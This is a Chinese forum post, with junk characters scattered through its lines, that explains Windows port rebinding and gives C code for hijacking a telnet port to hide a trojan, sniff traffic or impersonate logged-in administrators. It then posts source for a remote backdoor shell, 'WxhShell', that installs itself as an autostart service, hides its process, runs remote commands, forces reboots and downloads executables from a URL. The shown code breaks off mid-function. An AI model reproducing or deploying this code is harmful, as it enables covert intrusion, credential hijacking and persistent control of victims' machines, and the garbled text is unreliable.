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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G'YH6x,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G:x*BH+  
jx acg^c  
  saddr.sin_family = AF_INET; v]__%_  
?+T^O?r|O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >]o}}KF?  
.0R v(Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \om%Q[F7a  
{3N'D2N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  L4uFNM]  
OL_{_K(w  
  这意味着什么?意味着可以进行如下的攻击: 8M@BG8  
0%!rx{f#\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :xKcpY[{  
+ [Hh,I7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g$dsd^{O7  
JG{j)O|L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :4v3\+T  
:eo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CK, 6ytB  
{'16:dTJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '!f5?O+E  
R |KD&!~Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9&RFO$WH  
29XL$v],  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ? FfC  
wP"dZagpj  
  #include r\nx=  
  #include ie-vqLc  
  #include zE;bBwy&  
  #include    Be+0NXLVy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %e*@CbO$  
  int main() 5SkW-+$  
  { 5>AX*]c  
  WORD wVersionRequested; }w4QP+ x  
  DWORD ret; \M'-O YH_[  
  WSADATA wsaData; )Ud-}* g  
  BOOL val; L@JOGCYy  
  SOCKADDR_IN saddr; W2uOR{ '?  
  SOCKADDR_IN scaddr; p&VU0[LIC0  
  int err; :!zl^J;  
  SOCKET s; &@ JvnO:  
  SOCKET sc; (knp#   
  int caddsize; 9'hv%A:\3  
  HANDLE mt; };'\~g,1  
  DWORD tid;   %LYnxo7#C  
  wVersionRequested = MAKEWORD( 2, 2 ); xq"Jy=4Q*  
  err = WSAStartup( wVersionRequested, &wsaData ); #97h6m?  
  if ( err != 0 ) { Fs[aa#v4B  
  printf("error!WSAStartup failed!\n"); Vb BPB5 $q  
  return -1; u{["50~  
  } B c2p(z4  
  saddr.sin_family = AF_INET; >vo=]c w  
   y\{%\$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ax 41N25  
DNP13wp@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y^o@"IYu3  
  saddr.sin_port = htons(23); OzC\9YeA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \=>H6x]q  
  { HYmn:?H  
  printf("error!socket failed!\n"); <V>dM4Mkr  
  return -1; UwC=1g U  
  } _#vrb;.+  
  val = TRUE; -.{g}R%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NY?;erX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RoAlf+&Qb  
  { dK>7fy;mv  
  printf("error!setsockopt failed!\n"); trE{FT  
  return -1; 8b0d]*q  
  } Ie%EH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /r_~: 3F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H.UX,O@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [V:\\$  
%\i9p]=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n@G[  
  { >ooZj9:'  
  ret=GetLastError(); qTQBt}  
  printf("error!bind failed!\n"); Z(!00^  
  return -1; yv)ux:P&+  
  } sN5B7)Vc  
  listen(s,2); CW<N: F.9  
  while(1) -kbg\,PW  
  { [LRLJ_~g5  
  caddsize = sizeof(scaddr); UT="2*3gz  
  //接受连接请求 S]E.KLR?[;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I" KN"v^  
  if(sc!=INVALID_SOCKET) [|l?2j\  
  { r;m)nRu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H<1WbM:w  
  if(mt==NULL) S6[v;{xJ  
  { >|;aIa@9  
  printf("Thread Creat Failed!\n"); MeUaTJFEB  
  break; ?mlNL/:  
  } xC tmXo  
  } E }ZJ)V7  
  CloseHandle(mt); 0:b2(^]bg  
  } RVeEkv[qp  
  closesocket(s); Gdg"gi!4  
  WSACleanup(); Ge<nxl<Bd  
  return 0; @]ao"ui@/  
  }   Bp@v,)8*  
  DWORD WINAPI ClientThread(LPVOID lpParam) a+Ac[>  
  { wgw(YU  
  SOCKET ss = (SOCKET)lpParam; 'R_g">B.  
  SOCKET sc; <^$<#K d  
  unsigned char buf[4096]; rl0<Ls  
  SOCKADDR_IN saddr; 8.[SU  
  long num; T*KMksjxm`  
  DWORD val; FHV-BuH5  
  DWORD ret; ^+g$iM[`f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jRL<JZ1N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H#ncM~y*  
  saddr.sin_family = AF_INET; L5,NP5RC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P@FHnh3}Z$  
  saddr.sin_port = htons(23); DY^;EZ!hb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AFAAuFE"  
  { QV\eMuNy  
  printf("error!socket failed!\n"); ` Jdb;  
  return -1; ~s5SZK*  
  } RSo& (Uv  
  val = 100; 9:M` j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^_m9KA  
  { *BR^U$,e  
  ret = GetLastError(); ]KmO$4  
  return -1; "&3h2(#%  
  } ~ yX2\i"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &?(?vDFfZ  
  { +>PX&F  
  ret = GetLastError(); l'eyq}&  
  return -1; 6R^^.tCs  
  } 8-O)Xx}cU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LGtIm7  
  { V5rS T +  
  printf("error!socket connect failed!\n"); KY~- ;0x  
  closesocket(sc); BT(CM,bp  
  closesocket(ss); G["c\Xux  
  return -1; w`5xrqt@  
  } Ih"XV  
  while(1) cCxBzkH6  
  { p3 ^ m9J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ynrT a..  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K1T4cUo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =&:Y6XP  
  num = recv(ss,buf,4096,0); Ywwu0.H<  
  if(num>0) '  <=+;q  
  send(sc,buf,num,0); ?5 {>;#0Z  
  else if(num==0) yNbjoFM.i  
  break; pfI"36]F  
  num = recv(sc,buf,4096,0); m|G'K[8  
  if(num>0) jB(|";G  
  send(ss,buf,num,0); 4H/fP]u  
  else if(num==0) GI1  
  break; Ct>GYk$  
  } UNBH  
  closesocket(ss); mrjswF27$o  
  closesocket(sc); V=*wKuB  
  return 0 ; <Sr  
  } [)TRTxFb  
.Fp4: e  
q?8| [.  
========================================================== 8#g1P4  
0ik7v<:  
下边附上一个代码,,WXhSHELL 9_5ow  
|/)${*a4n  
========================================================== :n-]>Q>5=k  
s ']Bx=  
#include "stdafx.h" $A-J,_:T<  
sjV!5Z  
#include <stdio.h> \vO,E e~#W  
#include <string.h> 5yz(>EVH  
#include <windows.h> _BP&n  
#include <winsock2.h> uwy:t!(j  
#include <winsvc.h> p|p l  
#include <urlmon.h> ^\S~?0^m  
Ug<#en  
#pragma comment (lib, "Ws2_32.lib") qO|R^De  
#pragma comment (lib, "urlmon.lib") m*kl  
1bn^.768l  
#define MAX_USER   100 // 最大客户端连接数 =UfsL%  
#define BUF_SOCK   200 // sock buffer XSyHk"g`  
#define KEY_BUFF   255 // 输入 buffer m+T;O/lG0{  
e-EUf  
#define REBOOT     0   // 重启 D1=((`v '  
#define SHUTDOWN   1   // 关机 ys kO  
Z '7  
#define DEF_PORT   5000 // 监听端口 P`cq H(   
?BZPwGMs  
#define REG_LEN     16   // 注册表键长度 I<6P;  
#define SVC_LEN     80   // NT服务名长度 ~G6Ox)/  
Vo'T!e- B  
// 从dll定义API 2|*JSU.I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~XmLX)vO/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G VYkJ0,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yz +ZY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rr02pM0  
8p:e##%  
// wxhshell配置信息 9~/J35  
struct WSCFG { v : OR   
  int ws_port;         // 监听端口 /^#;d UB  
  char ws_passstr[REG_LEN]; // 口令 {C N~S*m  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4?q <e*W  
  char ws_regname[REG_LEN]; // 注册表键名 >]vlkA(  
  char ws_svcname[REG_LEN]; // 服务名 2so!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8b;1F Q'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f@|A[>"V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J`].:IOh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oUQ,61H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^Xq 6:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %UERc{~o*,  
e9U9Uu[  
}; ?Yth0O6?sb  
Ku} Z  
// default Wxhshell configuration (Hb:?(  
struct WSCFG wscfg={DEF_PORT, 4i(JZN?  
    "xuhuanlingzhe", UKT%13CO4U  
    1, aGtf z)  
    "Wxhshell", oF1,QQ^dg  
    "Wxhshell", D!Pq4'd(  
            "WxhShell Service", 0vD7v  
    "Wrsky Windows CmdShell Service", _n50C"X=&(  
    "Please Input Your Password: ", sg3OL/"  
  1, T^k7o^N>  
  "http://www.wrsky.com/wxhshell.exe", 2Ay* kmW  
  "Wxhshell.exe" :2rZcoNb.  
    }; 7>))D'l57  
oldA#sA$  
// 消息定义模块 Ki$MpA3j   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &-Gqdnc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pama#6?OPh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qGB{7-ru  
char *msg_ws_ext="\n\rExit."; iW%I|&  
char *msg_ws_end="\n\rQuit."; -~v2BN/  
char *msg_ws_boot="\n\rReboot..."; R\G0'?h >  
char *msg_ws_poff="\n\rShutdown..."; bU2Z[sn.  
char *msg_ws_down="\n\rSave to "; y[)>yq y  
?R$F)g7<  
char *msg_ws_err="\n\rErr!"; qzKdQ&vO  
char *msg_ws_ok="\n\rOK!"; 2db3I:;E  
ZQ%'`q\c  
char ExeFile[MAX_PATH]; U4C 9<h&  
int nUser = 0; 2a`o &S  
HANDLE handles[MAX_USER]; L\xk:j1[  
int OsIsNt; Ez fN&8E  
vyK7I%T'R  
SERVICE_STATUS       serviceStatus; (3 Two}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .*Ct bGw  
$j5K8Ad  
// 函数声明 emqZztccZ  
int Install(void); W14 J],{L  
int Uninstall(void); !Sh&3uy_qN  
int DownloadFile(char *sURL, SOCKET wsh); >,$_| C  
int Boot(int flag); z"-u95H  
void HideProc(void); * K D I}B>  
int GetOsVer(void); r%yvOF\>  
int Wxhshell(SOCKET wsl); ~=6xyc/c  
void TalkWithClient(void *cs); +eK"-u~K  
int CmdShell(SOCKET sock); aW)-?(6>  
int StartFromService(void); jET{Le8i  
int StartWxhshell(LPSTR lpCmdLine); hIs4@0  
-.u]GeMy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :t8b39  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8*#R]9  
s%nUaWp~  
// 数据结构和表定义 %et } A93  
SERVICE_TABLE_ENTRY DispatchTable[] = .oYl-.E>&  
{ :8=ikwQ  
{wscfg.ws_svcname, NTServiceMain}, ~J wb`g.  
{NULL, NULL} RKHyw 08  
}; (2J: #  
eg\v0Y!rI  
// 自我安装 cl[BF'.H  
int Install(void) 5\5/  
{ Y)0*b5?1r  
  char svExeFile[MAX_PATH]; f332J  
  HKEY key; SPX$ U5&  
  strcpy(svExeFile,ExeFile); Z_};|B}  
=9O^p@Q#W  
// 如果是win9x系统,修改注册表设为自启动 WM7oM~&{6  
if(!OsIsNt) { }Z@ovsG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9ifDcYl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~dgDO:)  
  RegCloseKey(key); ?I_s0k I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %GjM(;Tk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p{amC ;cI$  
  RegCloseKey(key); =9'RM>  
  return 0; 9YIM'q>`v  
    } :~e>Ob[,"  
  } +Mo9kC  
} ov ` h  
else { p Dx1z|@z  
&=Ar  
// 如果是NT以上系统,安装为系统服务 :mh_G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m4hX 'F  
if (schSCManager!=0) E4`N-3  
{ ]/[FR5>  
  SC_HANDLE schService = CreateService m[? E  
  ( |oH,   
  schSCManager, L[oui,}_  
  wscfg.ws_svcname, Zd^rNHhA  
  wscfg.ws_svcdisp, ,&]S(|2%>t  
  SERVICE_ALL_ACCESS, 3 }TaF~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >Ea8G,  
  SERVICE_AUTO_START, ~ -4{B  
  SERVICE_ERROR_NORMAL, :~b3^xhc^  
  svExeFile, p `8 s  
  NULL, 0bceI  
  NULL, .0S~872  
  NULL, Uol|9F  
  NULL, B:b5UD  
  NULL ZXqSH${Tp  
  ); B8.Pn  
  if (schService!=0) ] bM)t<  
  { bR*-Ht+wd  
  CloseServiceHandle(schService); KyVQh8  
  CloseServiceHandle(schSCManager); ocqU=^ta  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g`{;(/M+  
  strcat(svExeFile,wscfg.ws_svcname);  8{wwd:6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9oRy)_5Z(=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /[a~3^Gs^  
  RegCloseKey(key); q.KG^=10  
  return 0; 6Z>FTz_  
    } ]e"=$2d$  
  } 3EV;LH L  
  CloseServiceHandle(schSCManager); k$R~R-'  
} ~ Sg5:T3  
} b*;Si7-  
9oyE$S h]  
return 1; 04LI]'  
} NO7J!k?  
+6sy-<ZL:  
// 自我卸载 Ed0QQyC@9  
int Uninstall(void) _(_a*ml  
{ j@W.&- _  
  HKEY key; '-r).Xk  
6LOnU~l,  
if(!OsIsNt) { &vo--V1|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9v;Vv0k_  
  RegDeleteValue(key,wscfg.ws_regname); Od)Uv1  
  RegCloseKey(key); qW$<U3u}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F f$L|  
  RegDeleteValue(key,wscfg.ws_regname);  A sQ)q  
  RegCloseKey(key); ~+Rc }K  
  return 0; R+2+-j4  
  } y~Bh  
} *"+=K,#D  
} #zG&|<hc  
else { 6.CbAi3Z  
gQo]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;\a YlV-  
if (schSCManager!=0) %7"q"A r[  
{ TC @s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ee)T1~;W  
  if (schService!=0) >QjAoDVX?  
  { X}=n:Ql'YY  
  if(DeleteService(schService)!=0) { ^`*9QjY  
  CloseServiceHandle(schService); Y'c>:;JEe  
  CloseServiceHandle(schSCManager);  |XT)QK1  
  return 0; D8inB+/-  
  } KX76UW   
  CloseServiceHandle(schService); T m_bz&Q  
  } yWg@v +  
  CloseServiceHandle(schSCManager); T_s _p  
} VvvRRP^q  
} 4H,`]B8(D  
D N'3QQn  
return 1; ?^H `M|S  
} _g+JA3sIJ  
Vu)4dD!  
// 从指定url下载文件 |*oZ _gI  
int DownloadFile(char *sURL, SOCKET wsh) ))R5(R  
{ q+Lr"&'Q  
  HRESULT hr; t|H^`Cv6  
char seps[]= "/"; cQ/5qg  
char *token; R{WE\T'  
char *file; 9*2[B"5  
char myURL[MAX_PATH]; I~q#eO)  
char myFILE[MAX_PATH]; r;/4F/6"  
{%<OD8>p  
strcpy(myURL,sURL); oo,uO;0G  
  token=strtok(myURL,seps); Uo-)pFN^  
  while(token!=NULL) 7R`M,u~f2^  
  { ql<i]Y  
    file=token; cWEE%  
  token=strtok(NULL,seps); f*!j[U/r_  
  } =q>'19^Jx  
>/:" D$  
GetCurrentDirectory(MAX_PATH,myFILE); JI?rL  
strcat(myFILE, "\\"); I, -hf=-  
strcat(myFILE, file); VLS0XKI)  
  send(wsh,myFILE,strlen(myFILE),0); ;Yx)tWQI  
send(wsh,"...",3,0); 8}c$XmCM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?{\nf7Y  
  if(hr==S_OK) ^$%S &W  
return 0; M9Cv wMi  
else ZW-yP2  
return 1; ]=.\-K  
?i)f^O  
} l,R/Gl  
XxT#X3D/,"  
// 系统电源模块 qd9cI&  
int Boot(int flag) vqnw#U4`  
{ Ipf|")*  
  HANDLE hToken; !,l9@eJQ  
  TOKEN_PRIVILEGES tkp; m#8m] Y  
s8QM ewU  
  if(OsIsNt) { D;oe2E{I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @.osJ}FxA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oeKHqP wg  
    tkp.PrivilegeCount = 1; K\>tA)IPSV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kd=GCO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3 j!3E  
if(flag==REBOOT) { *YW/_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X'wE7=29M  
  return 0; |>27'#JC  
} V_>\ 9m  
else { ji1viv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YsG%6&zEq  
  return 0; sC27FVwo  
} - |kA)M[  
  } TK5K_V*7  
  else { j;%-fvd;  
if(flag==REBOOT) { oE<`VY|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Wc,_RN-  
  return 0; IN4=YrM^  
} s4G|_==  
else { A:>01ZJ5S+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cmBB[pk\  
  return 0; ^:K3vC[h;c  
} 9)0D~oUi  
} v$~QU{ &  
?;KKw*  
return 1; lwHzj&/ ~  
} +)kb(  
UUSq$~Ct  
// win9x进程隐藏模块  u*e.yN  
void HideProc(void) i#7DR>XF/  
{ WF2}-NU"  
IKABBW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A&s:\3*Kh  
  if ( hKernel != NULL ) B,M(@5wz  
  { UV5Ie!\nm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / rg*p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]NjX?XdX<  
    FreeLibrary(hKernel); O>SLOWgha  
  } x6(~;J  
t]>Lh>G  
return; &Q+Ln,(&L  
} z|=}1; (.  
kV?y0J.  
// 获取操作系统版本 9w"h  
int GetOsVer(void) w<zIAQN  
{ Ks=>K(V6  
  OSVERSIONINFO winfo; h lkn%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W;_nK4$%'  
  GetVersionEx(&winfo); q/4YS0CqE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I*LknU@  
  return 1; k:*S&$S!E  
  else dArDP[w  
  return 0; RD\  
} km)zMoE{c{  
zfI>qJ+Nqt  
// 客户端句柄模块 8'~[pMn`  
int Wxhshell(SOCKET wsl) UjaK&K+M?  
{ Dpvk\t  
  SOCKET wsh; #6ri-n  
  struct sockaddr_in client; Uh7v@YMC  
  DWORD myID; =.y~fA!  
D<|qaHB=  
  while(nUser<MAX_USER) VGtC)mG8)  
{ &Ts-a$Z7?S  
  int nSize=sizeof(client); O_$m!5ug  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zV:pQRbt.  
  if(wsh==INVALID_SOCKET) return 1; &$"i,~q^b  
Xg<*@4RD8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Se HagKA  
if(handles[nUser]==0) 9l}FU$  
  closesocket(wsh); t0z!DOODZP  
else ~ (x;5{  
  nUser++; T;@;R %  
  } ,$1eFgY%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WtViW=j'  
RMd[Yr2e  
  return 0; ~GTz:nC*  
} u@~JiiC%  
n9@ of  
// 关闭 socket f~Fm4 >\(  
void CloseIt(SOCKET wsh) x\F,SEj  
{ -`<kCW"  
closesocket(wsh); K#*reJ}K  
nUser--; !lEY=1nHOJ  
ExitThread(0); >wb 'QzF:  
} SGh1 DB  
n3}!p'-CC  
// 客户端请求句柄 Of{/t1o?  
void TalkWithClient(void *cs) KC(xb5x Y  
{ NLS%Sq  
/3e KN  
  SOCKET wsh=(SOCKET)cs; 8CnRi  
  char pwd[SVC_LEN]; s_x:T<]  
  char cmd[KEY_BUFF]; @7n/Q(  
char chr[1]; =0^Ruh  
int i,j; 1"/He ` 4  
 yyv8gH  
  while (nUser < MAX_USER) { I *x[:)X8  
Jj,U RD&0R  
if(wscfg.ws_passstr) { G"X8}:}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R<sJ^nx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZZcEt  
  //ZeroMemory(pwd,KEY_BUFF); &07]LF$]  
      i=0; ^&bRX4pYo  
  while(i<SVC_LEN) { vr0WS3  
, #U .j  
  // 设置超时 @?=|Y  
  fd_set FdRead; 1U^A56CN  
  struct timeval TimeOut; YhOlxON  
  FD_ZERO(&FdRead); WA]c=4S  
  FD_SET(wsh,&FdRead); ]Tkc-ez  
  TimeOut.tv_sec=8; N-I5X2  
  TimeOut.tv_usec=0; :!5IW?2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5QPM t^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SG-'R1 J  
}:u~K;O87  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FL(6?8zK  
  pwd=chr[0]; (S xR`QP?,  
  if(chr[0]==0xd || chr[0]==0xa) { Mu{;vf|j  
  pwd=0; Nc+,&R13m  
  break; o4*+T8[|5  
  } ;3\3q1oX  
  i++; w;k):; $  
    } >Y_*%QGH_  
Jd5:{{ Lb  
  // 如果是非法用户,关闭 socket A,\6nO67  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k$H%.l;E  
} '~ ,p[  
][W_[0v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K?s+3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FDVcow*]n  
l5\"9 ,<  
while(1) { UNPezHaz  
2zVJvn7  
  ZeroMemory(cmd,KEY_BUFF); 1AG=%F|.  
`}BF${vF  
      // 自动支持客户端 telnet标准   X@k`3X  
  j=0; d+X}cq=  
  while(j<KEY_BUFF) { Kw8u`$Ad7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A|L8P  
  cmd[j]=chr[0]; {?J/c{=/P  
  if(chr[0]==0xa || chr[0]==0xd) { :4MB]v[K  
  cmd[j]=0; A,%C,*)Cg  
  break; Hir Fl  
  } D8>enum  
  j++;  EI_  
    } @y82L8G/  
wY~&Q}U  
  // 下载文件 *uo'VJI7_,  
  if(strstr(cmd,"http://")) { vC1v"L;[o/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qduWzxB  
  if(DownloadFile(cmd,wsh)) nBHnkbKoy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UW9?p}F  
  else 3}@_hS"^8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iCW*]U  
  } d?:=PH  
  else { *xON W  
%F:)5gT?  
    switch(cmd[0]) { EhO|~A*R  
  E<C&Cjz:H  
  // 帮助 U Z|HJ8_  
  case '?': { dbOdq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FXzFHU/dP  
    break; 'ihhoW8  
  } Qu} W/j|3  
  // 安装 1Wm)rXW[x  
  case 'i': { *+uHQgn(  
    if(Install()) 3&6#F"7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X66VU  
    else ]d a^xWK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); INkD=tX  
    break; ?Y:8eD"*  
    } zN{K5<7o  
  // 卸载 \0mb 3Q'  
  case 'r': { ~(pmLZ<GW}  
    if(Uninstall()) VxY+h`4#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y?I Tz9  
    else =QK$0r]c'k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wMdal:n^  
    break; GrTulN?  
    } `)T~psT  
  // 显示 wxhshell 所在路径 es>W$QKlo  
  case 'p': { yv\#8I:qh  
    char svExeFile[MAX_PATH]; j'aHF#_  
    strcpy(svExeFile,"\n\r"); ukvtQz)  
      strcat(svExeFile,ExeFile); `5~ +,/Ys  
        send(wsh,svExeFile,strlen(svExeFile),0); $2M#qkik-  
    break; [74F6Qp  
    } H(Q.a=&4!p  
  // 重启 7<jZ`qdq_  
  case 'b': { Pfm_@'8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^Ve<>b  
    if(Boot(REBOOT)) esHQoIhd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0TmR/uUT  
    else { "Ae@lINn[y  
    closesocket(wsh);  1~l I8  
    ExitThread(0); >0dv+8Mn  
    } M/q E2L[y  
    break; ^{xeij/  
    } .[Ap=UYI>  
  // 关机 +=]!P#  
  case 'd': { Hew d4k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RPIyO  
    if(Boot(SHUTDOWN)) ,SQZD,3v4  
